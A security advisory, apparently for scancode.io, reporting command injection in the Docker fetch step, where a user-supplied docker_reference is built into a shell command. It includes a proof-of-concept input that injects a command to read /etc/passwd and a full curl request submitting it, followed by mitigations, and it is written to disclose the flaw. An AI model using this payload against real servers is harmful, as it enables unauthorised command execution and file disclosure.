Command Injection in docker fetch process
Summary
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
Details
In the function scanpipe/pipes/fetch.py:fetch_docker_image
[1] the parameter docker_reference
is user controllable. The docker_reference
variable is then passed to the vulnerable function get_docker_image_platform
.
def fetch_docker_image(docker_reference, to=None):
"""
code snipped ....
"""
platform_args = []
platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
"""
code snipped...
"""
However, the get_docker_image_plaform
function constructs a shell command with the passed docker_reference
. The pipes.run_command
then executes the shell command without any prior sanitization, making the function vulnerable to command injections.
def get_docker_image_platform(docker_reference):
"""
Return a platform mapping of a docker reference.
If there are more than one, return the first one by default.
"""
skopeo_executable = _get_skopeo_location()
"""
Constructing a shell command with user controlled variable `docker_reference`
"""
cmd = (
f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
f"{docker_reference}"
)
logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output = pipes.run_command(cmd) # Executing command
logger.info(output)
if exitcode != 0:
raise FetchDockerImageError(output)
A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;
, it would allow appending malicious commands.
PoC
-
Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd
in the filed Download URLs
-
Check docker logs to see the command execution
curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
$'http://localhost/project/add/'
Mitigations
The docker_reference
input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.
Tested on:
- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
- OS: Ubuntu Linux Kernel 5.19.0
References
[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
References
Command Injection in docker fetch process
Summary
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
Details
In the function
scanpipe/pipes/fetch.py:fetch_docker_image
[1] the parameterdocker_reference
is user controllable. Thedocker_reference
variable is then passed to the vulnerable functionget_docker_image_platform
.However, the
get_docker_image_plaform
function constructs a shell command with the passeddocker_reference
. Thepipes.run_command
then executes the shell command without any prior sanitization, making the function vulnerable to command injections.A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of
docker://;
, it would allow appending malicious commands.PoC
Create a new project with following input
docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd
in the filed Download URLsCheck docker logs to see the command execution
Mitigations
The
docker_reference
input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.Tested on:
References
[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
References